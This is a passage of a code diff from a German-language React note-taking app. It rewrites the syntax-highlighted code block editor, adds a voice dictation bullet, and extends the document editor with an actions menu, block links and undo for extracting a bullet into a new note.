+      return escapeHtml(currentContent);
+    }
+  }, [currentContent, prismLang, loadedGrammar]);
+
+  const adjustHeight = useCallback(() => {
+    const el = localTextareaRef.current;
+    if (!el) return;
+    el.style.height = 'auto';
+    el.style.height = `${Math.max(22, el.scrollHeight)}px`;
+  }, []);
+
+  useLayoutEffect(() => {
+    adjustHeight();
+  }, [currentContent, adjustHeight]);
+
+  const handleCopy = (e: React.MouseEvent) => {
+    e.stopPropagation();
+    try {
+      const p = navigator.clipboard?.writeText(currentContent);
+      if (p && typeof p.catch === 'function') {
+        p.catch(() => {});
+      }
+    } catch {
+      // ignore clipboard errors
+    }
+    setCopied(true);
+    if (copyTimerRef.current !== null) {
+      window.clearTimeout(copyTimerRef.current);
+    }
+    copyTimerRef.current = window.setTimeout(() => {
+      copyTimerRef.current = null;
+      setCopied(false);
+    }, 1500);
+  };
+
+  const applyContentUpdate = (newVal: string, target: HTMLTextAreaElement) => {
+    if (!isControlled) {
+      setUncontrolledContent(newVal);
+    }
+    if (onChangeContent) {
+      onChangeContent(newVal);
+    } else if (handleContentChange) {
+      target.value = newVal;
+      handleContentChange({
+        target,
+        currentTarget: target,
+      } as React.ChangeEvent<HTMLTextAreaElement>);
+    }
+  };
+
+  const onTextareaChange = (e: React.ChangeEvent<HTMLTextAreaElement>) => {
+    if (!canEdit) return;
+    if (!isControlled) {
+      setUncontrolledContent(e.target.value);
+    }
+    if (handleContentChange) {
+      handleContentChange(e);
+    } else if (onChangeContent) {
+      onChangeContent(e.target.value);
+    }
+  };
+
+  const onTextareaKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {
+    if (canEdit && e.key === 'Tab') {
+      e.preventDefault();
+      e.stopPropagation();
+      const ta = e.currentTarget;
+      const val = currentContent;
+      const start = ta.selectionStart ?? 0;
+      const end = ta.selectionEnd ?? start;
+
+      const lineStart = start === 0 ? 0 : val.lastIndexOf('\n', start - 1) + 1;
+      const effectiveEnd = end > start && val[end - 1] === '\n' ? end - 1 : end;
+      const lineEndIdx = val.indexOf('\n', effectiveEnd);
+      const blockEnd = lineEndIdx === -1 ? val.length : lineEndIdx;
+      const lines = val.slice(lineStart, blockEnd).split('\n');
+
+      if (!e.shiftKey) {
+        const updatedLines = lines.map((line) => '  ' + line);
+        const newVal = val.slice(0, lineStart) + updatedLines.join('\n') + val.slice(blockEnd);
+        const newStart = start + 2;
+        const newEnd = end + updatedLines.length * 2;
+        applyContentUpdate(newVal, ta);
+        ta.value = newVal;
+        ta.setSelectionRange(newStart, newEnd);
+        setTimeout(() => {
+          if (localTextareaRef.current) {
+            localTextareaRef.current.setSelectionRange(newStart, newEnd);
+          }
+        }, 0);
+      } else {
+        let removedFirst = 0;
+        let removedTotal = 0;
+        const updatedLines = lines.map((line, idx) => {
+          let removeCount = 0;
+          if (line.startsWith('  ')) removeCount = 2;
+          else if (line.startsWith(' ') || line.startsWith('\t')) removeCount = 1;
+          if (idx === 0) removedFirst = removeCount;
+          removedTotal += removeCount;
+          return line.slice(removeCount);
+        });
+        if (removedTotal > 0) {
+          const newVal = val.slice(0, lineStart) + updatedLines.join('\n') + val.slice(blockEnd);
+          const newStart = Math.max(lineStart, start - removedFirst);
+          const newEnd = Math.max(newStart, end - removedTotal);
+          applyContentUpdate(newVal, ta);
+          ta.value = newVal;
+          ta.setSelectionRange(newStart, newEnd);
+          setTimeout(() => {
+            if (localTextareaRef.current) {
+              localTextareaRef.current.setSelectionRange(newStart, newEnd);
+            }
+          }, 0);
+        }
+      }
+      return;
+    }
+
+    handleKeyDown?.(e);
+  };
+
+  const handleScroll = (e: React.UIEvent<HTMLTextAreaElement>) => {
+    const target = e.currentTarget;
+    if (preRef.current) {
+      preRef.current.scrollTop = target.scrollTop;
+      preRef.current.scrollLeft = target.scrollLeft;
+    }
+    if (lineNumbersRef.current) {
+      lineNumbersRef.current.scrollTop = target.scrollTop;
+    }
+  };
+
+  const handleLineNumbersScroll = (e: React.UIEvent<HTMLDivElement>) => {
+    const target = e.currentTarget;
+    if (localTextareaRef.current) {
+      localTextareaRef.current.scrollTop = target.scrollTop;
+    }
+    if (preRef.current) {
+      preRef.current.scrollTop = target.scrollTop;
+    }
+  };
+
+  const handleLineNumbersWheel = (e: React.WheelEvent) => {
+    if (localTextareaRef.current) {
+      localTextareaRef.current.scrollTop += e.deltaY;
+    }
+  };
+
+  const lineCount = useMemo(() => {
+    return currentContent.split('\n').length;
+  }, [currentContent]);
+
+  const rawLang = block.lang || '';
+  const selectValue = rawLang ? resolveLanguageId(rawLang) || rawLang : '';
+  const hasCustomUnknownLang = Boolean(selectValue && !KNOWN_OPTION_IDS.has(selectValue));
+
+  return (
+    <div className="group/code relative bg-code rounded-2xl my-0.5 max-w-full overflow-hidden">
+      {/* Language at the top left; no header bar */}
+      <div className="flex items-center px-1.5 pt-1 text-[11px] font-mono text-faint">
+        {canEdit ? (
+          <select
+            aria-label="Sprache auswählen"
+            value={selectValue}
+            onChange={(e) => onChangeLang?.(e.target.value)}
+            className="min-h-[44px] sm:min-h-0 bg-transparent text-faint hover:text-main focus:text-main font-mono text-[11px] font-medium border border-transparent hover:border-border focus:border-accent rounded-btn px-1 py-0.5 outline-none cursor-pointer"
+          >
+            <option value="" className="bg-panel text-main">
+              Text
+            </option>
+            {hasCustomUnknownLang && (
+              <option value={selectValue} className="bg-panel text-main">
+                {selectValue}
+              </option>
+            )}
+            {CODE_LANGUAGE_GROUPS.map((group) => (
+              <optgroup key={group.label} label={group.label} className="bg-panel text-muted">
+                {group.options.map((opt) => (
+                  <option key={opt.id} value={opt.id} className="bg-panel text-main">
+                    {opt.label}
+                  </option>
+                ))}
+              </optgroup>
+            ))}
+          </select>
+        ) : (
+          <span className="font-mono text-[11px] text-faint px-1">{block.lang || 'Text'}</span>
+        )}
+      </div>
+
+      {/* Copy: round icon button at the bottom right, shown on hover (always on touch screens) */}
+      <button
+        type="button"
+        onClick={handleCopy}
+        className="absolute bottom-2 right-2 z-10 h-9 w-9 sm:h-8 sm:w-8 rounded-full bg-panel border border-border shadow-panel flex items-center justify-center text-muted hover:text-main opacity-100 sm:opacity-0 sm:group-hover/code:opacity-100 focus-visible:opacity-100 transition-opacity cursor-pointer"
+        title={copied ? 'Kopiert!' : 'In die Zwischenablage kopieren'}
+        aria-label={copied ? 'Kopiert!' : 'Kopieren'}
+      >
+        {copied ? <Check className="w-3.5 h-3.5 text-status-ok" /> : <Copy className="w-3.5 h-3.5" />}
+      </button>
+
+      {/* Live Highlighted Overlay + Textarea with Line Numbers */}
+      <div className="flex relative w-full overflow-hidden">
+        {/* Line Numbers Column */}
+        <div
+          ref={lineNumbersRef}
+          aria-hidden="true"
+          onScroll={handleLineNumbersScroll}
+          onWheel={handleLineNumbersWheel}
+          data-testid="code-line-numbers"
+          className="select-none py-2 pl-2.5 pr-2 font-mono text-xs text-faint leading-relaxed text-right shrink-0 overflow-hidden"
+        >
+          {Array.from({ length: lineCount }, (_, i) => (
+            <div key={i + 1} data-line-number={i + 1}>
+              {i + 1}
+            </div>
+          ))}
+        </div>
+
+        {/* Code Content (Overlay + Textarea) */}
+        <div className="relative flex-1 min-w-0 overflow-hidden">
+          <pre
+            ref={preRef}
+            aria-hidden="true"
+            className="absolute inset-0 m-0 p-2 font-mono text-xs text-main leading-relaxed whitespace-pre pointer-events-none select-none overflow-hidden"
+          >
+            <code
+              className={prismLang ? `language-${prismLang}` : 'language-none'}
+              dangerouslySetInnerHTML={{
+                __html: highlightedHtml + (currentContent.endsWith('\n') ? '\n' : ''),
+              }}
+            />
+          </pre>
+          <textarea
+            ref={(el) => {
+              localTextareaRef.current = el;
+              if (textareaRef) textareaRef.current = el;
+              registerTextareaRef?.(block.id, el);
+            }}
+            rows={1}
+            value={currentContent}
+            readOnly={!canEdit}
+            spellCheck={false}
+            autoCapitalize="off"
+            autoComplete="off"
+            autoCorrect="off"
+            onFocus={handleFocus}
+            onBlur={handleBlur}
+            onChange={onTextareaChange}
+            onKeyDown={onTextareaKeyDown}
+            onScroll={handleScroll}
+            style={{ caretColor: 'var(--text-main)' }}
+            className="relative block w-full m-0 p-2 font-mono text-xs leading-relaxed whitespace-pre bg-transparent text-transparent caret-main selection:bg-accent/25 selection:text-transparent border-0 focus:outline-none focus:ring-0 resize-none overflow-x-auto"
+          />
+        </div>
+      </div>
+    </div>
+  );
+};

frontend/src/features/workspace/CodeBlockItem.tsx

@@ -1,282 +0,0 @@
-import React, { useState, useMemo, useRef } from 'react';
-import Prism from 'prismjs';
-import 'prismjs/components/prism-python';
-import 'prismjs/components/prism-typescript';
-import 'prismjs/components/prism-bash';
-import 'prismjs/components/prism-json';
-import 'prismjs/components/prism-go';
-import 'prismjs/components/prism-sql';
-import 'prismjs/components/prism-yaml';
-import 'prismjs/components/prism-rust';
-import 'prismjs/components/prism-c';
-import 'prismjs/components/prism-cpp';
-import 'prismjs/components/prism-java';
-import 'prismjs/components/prism-php';
-import 'prismjs/components/prism-docker';
-import 'prismjs/components/prism-markdown';
-import { Code, Copy, Check, Eye, Edit3 } from 'lucide-react';
-import { DocumentBlock } from '../../lib/types';
-
-export interface CodeBlockItemProps {
-  block: DocumentBlock;
-  isReadOnly: boolean;
-  onChangeContent: (content: string) => void;
-  onChangeLang: (lang: string) => void;
-  onFocus?: () => void;
-  onBlur?: () => void;
-  inputRef?: (el: HTMLTextAreaElement | null) => void;
-}
-
-export const CODE_LANGUAGES = [
-  { id: 'javascript', label: 'JavaScript' },
-  { id: 'typescript', label: 'TypeScript' },
-  { id: 'python', label: 'Python' },
-  { id: 'go', label: 'Go' },
-  { id: 'bash', label: 'Bash / Shell' },
-  { id: 'json', label: 'JSON' },
-  { id: 'html', label: 'HTML / XML', alias: 'markup' },
-  { id: 'css', label: 'CSS' },
-  { id: 'sql', label: 'SQL' },
-  { id: 'rust', label: 'Rust' },
-  { id: 'cpp', label: 'C++' },
-  { id: 'c', label: 'C' },
-  { id: 'java', label: 'Java' },
-  { id: 'php', label: 'PHP' },
-  { id: 'yaml', label: 'YAML' },
-  { id: 'docker', label: 'Dockerfile' },
-  { id: 'markdown', label: 'Markdown' },
-  { id: 'text', label: 'Plain Text' },
-];
-
-export const CodeBlockItem: React.FC<CodeBlockItemProps> = ({
-  block,
-  isReadOnly,
-  onChangeContent,
-  onChangeLang,
-  onFocus,
-  onBlur,
-  inputRef,
-}) => {
-  const [isEditing, setIsEditing] = useState(false);
-  const [copied, setCopied] = useState(false);
-  const localTextareaRef = useRef<HTMLTextAreaElement | null>(null);
-
-  const currentLang = block.lang || 'javascript';
-
-  // Highlighted HTML generated by Prism
-  const highlightedCode = useMemo(() => {
-    const code = block.content || '';
-    if (!code) return '';
-
-    const prismLang = currentLang === 'html' ? 'markup' : currentLang;
-    const grammar = Prism.languages[prismLang] || Prism.languages.javascript;
-    if (!grammar) {
-      return code
-        .replace(/&/g, '&amp;')
-        .replace(/</g, '&lt;')
-        .replace(/>/g, '&gt;');
-    }
-    try {
-      return Prism.highlight(code, grammar, prismLang);
-    } catch {
-      return code
-        .replace(/&/g, '&amp;')
-        .replace(/</g, '&lt;')
-        .replace(/>/g, '&gt;');
-    }
-  }, [block.content, currentLang]);
-
-  // Code lines for line numbers
-  const lines = useMemo(() => {
-    return (block.content || '').split('\n');
-  }, [block.content]);
-
-  const handleCopy = async (e: React.MouseEvent) => {
-    e.stopPropagation();
-    try {
-      await navigator.clipboard.writeText(block.content || '');
-      setCopied(true);
-      setTimeout(() => setCopied(false), 2000);
-    } catch {
-      // Fallback
-    }
-  };
-
-  const handleKeyDown = (e: React.KeyboardEvent<HTMLTextAreaElement>) => {
-    if (e.key === 'Escape') {
-      setIsEditing(false);
-      return;
-    }
-    // Tab key indent/outdent
-    if (e.key === 'Tab') {
-      e.preventDefault();
-      const textarea = e.currentTarget;
-      const start = textarea.selectionStart;
-      const end = textarea.selectionEnd;
-      const val = textarea.value;
-
-      if (e.shiftKey) {
-        if (val.substring(start - 2, start) === '  ') {
-          const newVal = val.substring(0, start - 2) + val.substring(start);
-          onChangeContent(newVal);
-          setTimeout(() => {
-            textarea.selectionStart = textarea.selectionEnd = Math.max(0, start - 2);
-          }, 0);
-        }
-      } else {
-        const newVal = val.substring(0, start) + '  ' + val.substring(end);
-        onChangeContent(newVal);
-        setTimeout(() => {
-          textarea.selectionStart = textarea.selectionEnd = start + 2;
-        }, 0);
-      }
-    }
-  };
-
-  const switchToEdit = () => {
-    if (isReadOnly) return;
-    setIsEditing(true);
-    setTimeout(() => {
-      localTextareaRef.current?.focus();
-    }, 20);
-  };
-
-  return (
-    <div className="rounded-card border border-border bg-panel overflow-hidden shadow-xs my-1 group/code">
-      {/* Code Block Header Toolbar */}
-      <div className="flex items-center justify-between px-3 py-1.5 bg-canvas border-b border-border text-xs">
-        {/* Left: Language Selection */}
-        <div className="flex items-center gap-2">
-          <Code className="w-3.5 h-3.5 text-accent flex-shrink-0" />
-          <select
-            value={currentLang}
-            disabled={isReadOnly}
-            onChange={(e) => onChangeLang(e.target.value)}
-            className="bg-transparent text-main font-mono text-[11px] font-medium border border-transparent hover:border-border focus:border-accent rounded px-1.5 py-0.5 outline-none cursor-pointer"
-          >
-            {CODE_LANGUAGES.map((lang) => (
-              <option key={lang.id} value={lang.id} className="bg-panel text-main">
-                {lang.label}
-              </option>
-            ))}
-          </select>
-        </div>
-
-        {/* Right: Mode Toggle & Copy */}
-        <div className="flex items-center gap-1.5">
-          {!isReadOnly && (
-            <button
-              type="button"
-              onClick={() => {
-                if (isEditing) {
-                  setIsEditing(false);
-                } else {
-                  switchToEdit();
-                }
-              }}
-              className="px-2 py-0.5 rounded text-[11px] font-medium text-muted hover:text-main hover:bg-panel-elevated transition-colors flex items-center gap-1 cursor-pointer"
-              title={isEditing ? 'Zur farbigen Vorschau wechseln (Esc)' : 'Code bearbeiten'}
-            >
-              {isEditing ? (
-                <>
-                  <Eye className="w-3 h-3 text-accent" />
-                  <span>Vorschau</span>
-                </>
-              ) : (
-                <>
-                  <Edit3 className="w-3 h-3 text-muted" />
-                  <span>Bearbeiten</span>
-                </>
-              )}
-            </button>
-          )}
-
-          <button
-            type="button"
-            onClick={handleCopy}
-            className={`px-2 py-0.5 rounded text-[11px] font-medium transition-colors flex items-center gap-1 cursor-pointer ${
-              copied
-                ? 'text-emerald-500 bg-emerald-500/10'
-                : 'text-muted hover:text-main hover:bg-panel-elevated'
-            }`}
-            title="Code in Zwischenablage kopieren"
-          >
-            {copied ? (
-              <>
-                <Check className="w-3 h-3 text-emerald-500" />
-                <span>Kopiert!</span>
-              </>
-            ) : (
-              <>
-                <Copy className="w-3 h-3 opacity-70" />
-                <span>Kopieren</span>
-              </>
-            )}
-          </button>
-        </div>
-      </div>
-
-      {/* Code Block Content */}
-      {isEditing && !isReadOnly ? (
-        <div className="relative">
-          <textarea
-            ref={(el) => {
-              localTextareaRef.current = el;
-              if (inputRef) inputRef(el);
-            }}
-            rows={Math.max(3, lines.length)}
-            value={block.content || ''}
-            onFocus={() => onFocus && onFocus()}
-            onBlur={() => {
-              if (onBlur) onBlur();
-            }}
-            onChange={(e) => onChangeContent(e.target.value)}
-            onKeyDown={handleKeyDown}
-            placeholder="// Code hier eingeben..."
-            className="w-full p-3 bg-panel-elevated/40 font-mono text-xs text-main leading-relaxed focus:outline-none resize-none placeholder:text-faint"
-          />
-          <div className="px-3 py-1 bg-canvas/40 border-t border-border/50 text-[10px] text-faint flex items-center justify-between">
-            <span>Tab: Einrücken (2 Leerzeichen) • Shift+Tab: Ausrücken</span>
-            <button
-              type="button"
-              onClick={() => setIsEditing(false)}
-              className="hover:text-accent cursor-pointer"
-            >
-              Vorschau anzeigen (Esc)
-            </button>
-          </div>
-        </div>
-      ) : (
-        <div
-          onClick={switchToEdit}
-          className={`relative p-3 font-mono text-xs overflow-x-auto ${
-            isReadOnly ? '' : 'cursor-pointer hover:bg-panel-elevated/20 transition-colors'
-          }`}
-          title={isReadOnly ? undefined : 'Klicken zum Bearbeiten'}
-        >
-          {block.content ? (
-            <div className="flex gap-3">
-              {/* Line numbers */}
-              <div className="select-none text-right text-faint opacity-50 font-mono text-xs leading-relaxed flex-shrink-0">
-                {lines.map((_, idx) => (
-                  <div key={idx}>{idx + 1}</div>
-                ))}
-              </div>
-              {/* Syntax highlighted code */}
-              <pre className="m-0 p-0 font-mono text-xs leading-relaxed whitespace-pre overflow-x-auto flex-1">
-                <code
-                  dangerouslySetInnerHTML={{ __html: highlightedCode }}
-                  className={`language-${currentLang}`}
-                />
-              </pre>
-            </div>
-          ) : (
-            <div className="text-faint italic py-2">
-              {isReadOnly ? '(Kein Code hinterlegt)' : '(Klicken, um Code einzugeben...)'}
-            </div>
-          )}
-        </div>
-      )}
-    </div>
-  );
-};

frontend/src/features/workspace/DictationBlock.tsx

@@ -0,0 +1,119 @@
+import React, { useEffect, useRef, useState } from 'react';
+import { Loader2, Square } from 'lucide-react';
+import { useVoiceInput } from '../../lib/useVoiceInput';
+import { VoiceWave } from '../../components/VoiceWave';
+import { triggerHaptic } from '../../lib/api';
+
+interface DictationBlockProps {
+  onDone: (text: string) => void;
+  onCancel: () => void;
+}
+
+function formatDuration(sec: number): string {
+  const m = String(Math.floor(sec / 60)).padStart(2, '0');
+  const s = String(sec % 60).padStart(2, '0');
+  return `${m}:${s}`;
+}
+
+// What an empty bullet turns into after /diktat: listening starts right away, the whole bullet is one
+// button with live text growing above the wave, mm:ss timer and a translucent "Stopp" on top. A tap ends
+// it; the text lands in the bullet as plain text.
+export const DictationBlock: React.FC<DictationBlockProps> = ({ onDone, onCancel }) => {
+  const [interim, setInterim] = useState('');
+  const [elapsedSec, setElapsedSec] = useState(0);
+  const [error, setError] = useState<string | null>(null);
+  const doneRef = useRef(false);
+  const buttonRef = useRef<HTMLButtonElement>(null);
+
+  const voice = useVoiceInput({
+    live: true,
+    continuous: true,
+    onText: (text, final) => {
+      if (!final) {
+        setInterim(text);
+        return;
+      }
+      if (doneRef.current) return;
+      doneRef.current = true;
+      if (text.trim()) onDone(text.trim());
+      else onCancel();
+    },
+    onError: (message) => {
+      setError(message);
+      window.setTimeout(() => {
+        if (!doneRef.current) {
+          doneRef.current = true;
+          onCancel();
+        }
+      }, 2500);
+    },
+  });
+
+  useEffect(() => {
+    triggerHaptic([15, 60, 25]);
+    void voice.start();
+    buttonRef.current?.focus();
+    const started = Date.now();
+    const timer = window.setInterval(() => {
+      setElapsedSec(Math.floor((Date.now() - started) / 1000));
+    }, 500);
+    return () => window.clearInterval(timer);
+    // start once when the bullet turns into the dictation
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+
+  const transcribing = voice.state === 'transcribing';
+  const chunkBusy = voice.pendingChunks > 0 || transcribing;
+
+  return (
+    <button
+      ref={buttonRef}
+      type="button"
+      onClick={() => {
+        if (voice.state === 'listening') {
+          triggerHaptic(20);
+          void voice.stop();
+        }
+      }}
+      onKeyDown={(e) => {
+        if (e.key === 'Escape') {
+          e.preventDefault();
+          doneRef.current = true;
+          voice.cancel();
+          onCancel();
+        }
+      }}
+      disabled={transcribing || !!error}
+      aria-label="Diktat beenden"
+      className="relative w-full min-h-[56px] sm:min-h-[44px] my-1 px-4 py-2 rounded-3xl border border-accent bg-accent-dim overflow-hidden flex flex-col gap-1.5 text-left cursor-pointer disabled:cursor-default focus:outline-none"
+    >
+      {(interim || chunkBusy) && !error && (
+        <div className="w-full text-sm text-main whitespace-pre-wrap break-words leading-relaxed pointer-events-none">
+          {interim}
+          {chunkBusy && <span className="text-muted animate-pulse">{interim ? ' …' : '…'}</span>}
+        </div>
+      )}
+      <div className="relative w-full min-h-[32px] flex items-center justify-between gap-2">
+        {/* Live wave across the bottom bar */}
+        <VoiceWave getLevel={voice.level} bars={32} className="absolute inset-x-0 inset-y-0 justify-between h-auto text-accent opacity-60" />
+        <span className="relative z-10 px-2 py-0.5 rounded-pill bg-panel/70 text-muted text-[11px] font-mono tabular-nums backdrop-blur-sm">
+          {formatDuration(elapsedSec)}
+        </span>
+        {/* Floating stop label on top */}
+        <span className="relative z-10 flex items-center gap-1.5 px-3 py-1 rounded-pill bg-panel/70 text-main text-xs font-semibold backdrop-blur-sm">
+          {error ? (
+            <span className="text-status-err font-normal">{error}</span>
+          ) : transcribing ? (
+            <>
+              <Loader2 className="w-3.5 h-3.5 animate-spin" /> Wird erkannt…
+            </>
+          ) : (
+            <>
+              <Square className="w-3 h-3 fill-current" /> Stopp
+            </>
+          )}
+        </span>
+      </div>
+    </button>
+  );
+};

frontend/src/features/workspace/DocumentEditor.tsx

@@ -1,10 +1,13 @@
-import React, { useState, useEffect, useRef, useCallback, useMemo } from 'react';
+import React, { useState, useEffect, useRef, useCallback, useMemo, useSyncExternalStore } from 'react';
+import { createPortal } from 'react-dom';
+import { buildBlockLink } from '../../lib/wikiLink';
 import {
   Pin,
   Users,
   Trash2,
   RotateCcw,
   Download,
+  Maximize2,
   FileText,
   Loader2,
   ArrowLeft,
@@ -17,16 +20,29 @@ import {
   Check,
   CloudOff,
   AlertTriangle,
+  GitMerge,
+  Undo2,
+  Redo2,
+  MoreHorizontal,
+  CalendarDays,
 } from 'lucide-react';
 import { Document, DocumentBlock, User } from '../../lib/types';
 import { api } from '../../lib/api';
 import { DocSyncEngine, EngineState } from '../../lib/docSync/engine';
+import { Presence } from '../../lib/docSync/transport';
 import { OutlinerTree, OutlinerTreeHandle } from './OutlinerTree';
-import { PresenceAvatars } from './PresenceAvatars';
 import { extractHashtags } from '../../lib/hashtags';
+import { moveSibling } from '../../lib/outlineList';
 
 export type DocSaveStatus = 'saved' | 'saving' | 'unsaved' | 'error';
 
+export interface DocHeaderStatus {
+  showLive: boolean;
+  channel: 'ws' | 'sse' | 'longpoll' | 'interval';
+  otherPeople: Presence[];
+  avatarsById: Map<string, string>;
+}
+
 export interface DocumentEditorProps {
   docId: string;
   currentUser?: User | null;
@@ -39,11 +55,36 @@ export interface DocumentEditorProps {
   onRestoreDoc?: (docId: string) => void;
   onOpenShareModal: (doc: Document) => void;
   onSelectTag: (tag: string) => void;
-  onWikiLinkClick?: (pageTitle: string) => void;
+  onWikiLinkClick?: (pageTitle: string, blockId?: string) => void;
   onOpenDocBlock?: (docId: string, blockId?: string) => void;
   onBackMobile?: () => void;
   onOpenTask?: (taskId: string) => void;
   onSaveStatusChange?: (status: DocSaveStatus, errorMsg?: string) => void;
+  onHeaderStatusChange?: (status: DocHeaderStatus | null) => void;
+  /** Opens the dialog to merge this note into another one (own notes only) */
+  onRequestMerge?: (doc: Document) => void;
+  /** A note was created from this one (extract) or removed again (undo); keeps the sidebar current */
+  onDocCreated?: (doc: Document) => void;
+  onDocRemoved?: (docId: string) => void;
+  /** 'journal': one day inside the journal list – no own scrolling, header or backlinks, fixed title */
+  variant?: 'page' | 'journal';
+  /** Large screens: the action buttons render into this element (the workspace tab bar) */
+  actionsTarget?: HTMLElement | null;
+  /** Distraction-free mode: reading width, menu entry to leave it */
+  focusMode?: boolean;
+  onToggleFocusMode?: () => void;
+}
+
+// Large screens (lg) put the note's actions into the workspace tab bar and drop the editor header
+const LARGE_QUERY = '(min-width: 1024px)';
+function subscribeLarge(onChange: () => void) {
+  if (typeof window === 'undefined' || !window.matchMedia) return () => {};
+  const mq = window.matchMedia(LARGE_QUERY);
+  mq.addEventListener('change', onChange);
+  return () => mq.removeEventListener('change', onChange);
+}
+function isLargeScreen() {
+  return typeof window !== 'undefined' && !!window.matchMedia && window.matchMedia(LARGE_QUERY).matches;
 }
 
 import { EmojiPickerModal } from './EmojiPickerModal';
@@ -190,7 +231,18 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
   onBackMobile,
   onOpenTask,
   onSaveStatusChange,
+  onHeaderStatusChange,
+  onRequestMerge,
+  onDocCreated,
+  onDocRemoved,
+  variant = 'page',
+  actionsTarget,
+  focusMode = false,
+  onToggleFocusMode,
 }) => {
+  const inJournal = variant === 'journal';
+  const large = useSyncExternalStore(subscribeLarge, isLargeScreen, () => false);
+  const desktopBar = !inJournal && large && Boolean(actionsTarget);
   const [doc, setDoc] = useState<Document | null>(initialDoc || null);
   const [title, setTitle] = useState<string>(initialDoc?.title || '');
   const [blocks, setBlocks] = useState<DocumentBlock[]>(() =>
@@ -200,6 +252,8 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
   const [error, setError] = useState<string | null>(null);
   const [showEmojiPicker, setShowEmojiPicker] = useState<boolean>(false);
   const [zoomedBlockId, setZoomedBlockId] = useState<string | null>(null);
+  const [showActionsMenu, setShowActionsMenu] = useState<boolean>(false);
+  const actionsMenuRef = useRef<HTMLDivElement | null>(null);
 
   // Sync engine (operation log): stores every change locally and syncs it with the server
   const engineRef = useRef<DocSyncEngine | null>(null);
@@ -207,6 +261,9 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
 
 
   const titleInputRef = useRef<HTMLTextAreaElement | HTMLInputElement | null>(null);
+  const scrollRef = useRef<HTMLDivElement | null>(null);
+  // The header repeats the title only once the big title has scrolled out of view
+  const [titleScrolledAway, setTitleScrolledAway] = useState(false);
   const outlinerTreeRef = useRef<OutlinerTreeHandle | null>(null);
   const docRef = useRef<Document | null>(doc);
   docRef.current = doc;
@@ -216,6 +273,22 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
   const currentBlocksRef = useRef<DocumentBlock[]>(blocks);
   currentBlocksRef.current = blocks;
 
+  useEffect(() => {
+    const root = scrollRef.current;
+    const el = titleInputRef.current;
+    if (inJournal || !root || !el || typeof IntersectionObserver === 'undefined') {
+      setTitleScrolledAway(false);
+      return;
+    }
+    const observer = new IntersectionObserver(
+      ([entry]) => setTitleScrolledAway(!entry.isIntersecting),
+      // the sticky header covers the top of the scroll area
+      { root, rootMargin: '-56px 0px 0px 0px' }
+    );
+    observer.observe(el);
+    return () => observer.disconnect();
+  }, [zoomedBlockId, doc?.id, inJournal]);
+
   useEffect(() => {
     if (!loading && (autoFocusTitle || (doc?.title === 'Neue Notiz' && (!doc?.blocks || doc?.blocks.length <= 1)))) {
       const focusTitle = () => {
@@ -375,14 +448,103 @@ export const DocumentEditor: React.FC<DocumentEditorProps> = ({
       .catch(() => {});
   }, [otherPeople.length]);
 
-  // Short hint at the bottom of the editor (blocked actions, skipped undo)
+  useEffect(() => {
+    onHeaderStatusChange?.({
+      showLive: Boolean(engineState && (engineState.shared || engineState.sessions > 1)),
+      channel: engineState?.channel || 'ws',
+      otherPeople,
+      avatarsById,
+    });
+  }, [
+    engineState?.shared,
+    engineState?.sessions,
+    engineState?.channel,
+    otherPeople,
+    avatarsById,
+    onHeaderStatusChange,
+  ]);
+
+  useEffect(() => {
+    return () => {
+      onHeaderStatusChange?.(null);
+    };
+  }, [onHeaderStatusChange]);
+
+  useEffect(() => {
+    if (!showActionsMenu) return;
+    const handleMouseDown = (e: MouseEvent) => {
+      if (actionsMenuRef.current && !actionsMenuRef.current.contains(e.target as Node)) {
+        setShowActionsMenu(false);
+      }
+    };
+    const handleKeyDown = (e: KeyboardEvent) => {
+      if (e.key === 'Escape') {
+        setShowActionsMenu(false);
+      }
+    };
+    document.addEventListener('mousedown', handleMouseDown);
+    document.addEventListener('keydown', handleKeyDown);
+    return () => {
+      document.removeEventListener('mousedown', handleMouseDown);
+      document.removeEventListener('keydown', handleKeyDown);
+    };
+  }, [showActionsMenu]);
+
+  // Short hint at the bottom of the editor (blocked actions, skipped undo), optionally with one action
   const [notice, setNotice] = useState<string | null>(null);
+  const [noticeActions, setNoticeActions] = useState<{ label: string; run: () => void }[]>([]);
   const noticeTimerRef = useRef<number | null>(null);
-  const showNotice = useCallback((message: string) => {
+  const showNotice = useCallback((message: string, actions: { label: string; run: () => void }[] = []) => {
     setNotice(message);
+    setNoticeActions(actions);
     if (noticeTimerRef.current !== null) window.clearTimeout(noticeTimerRef.current);
-    noticeTimerRef.current = window.setTimeout(() => setNotice(null), 3500);
+    noticeTimerRef.current = window.setTimeout(() => {
+      setNotice(null);
+      setNoticeActions([]);
+    }, actions.length ? 8000 : 3500);
   }, []);
+
+  // Link to a single bullet: [[Titel#^id|Titel › Auszug]] into the clipboard
+  const handleCopyBlockLink = useCallback(
+    (blockId: string) => {
+      const block = blocks.find((b) => b.id === blockId);
+      const link = buildBlockLink(title || doc?.title || 'Notiz', blockId, block?.content || '');
+      const done = () => showNotice('Link zum Punkt kopiert – mit Strg+V in eine Notiz einfügen');
+      if (navigator.clipboard?.writeText) {
+        navigator.clipboard.writeText(link).then(done, () => showNotice(`Kopieren nicht möglich: ${link}`));
+      } else {
+        showNotice(`Kopieren nicht möglich: ${link}`);
+      }
+    },
+    [blocks, title, doc?.title, showNotice]
+  );
+
+  // A link pointed to a bullet that is gone (moved, extracted, deleted): the note opens with a hint
+  const blocksForTargetRef = useRef(blocks);
+  blocksForTargetRef.current = blocks;
+  useEffect(() => {
+    if (!initialFocusedBlockId || !doc?.id) return;
+    const timer = window.setTimeout(() => {
+      if (!blocksForTargetRef.current.some((b) => b.id === initialFocusedBlockId)) {
+        showNotice('Der verlinkte Punkt ist in dieser Notiz nicht mehr vorhanden');
+      }
+    }, 1500);
+    return () => window.clearTimeout(timer);
+  }, [initialFocusedBlockId, doc?.id, showNotice]);
+
+  // The last extraction, so undoing it (toast or Strg+Z) also puts the new note into the trash
+  const lastExtractRef = useRef<{ newDocId: string; blockId: string; link: string } | null>(null);
+  const finishUndoExtract = useCallback(() => {
+    const info = lastExtractRef.current;
+    if (!info) return;
+    const block = currentBlocksRef.current.find((b) => b.id === info.blockId);
+    if (block && block.content === info.link) return; // the undone step was something else
+    lastExtractRef.current = null;
+    api
+      .undoExtract(info.newDocId)
+      .then(() => onDocRemoved?.(info.newDocId))
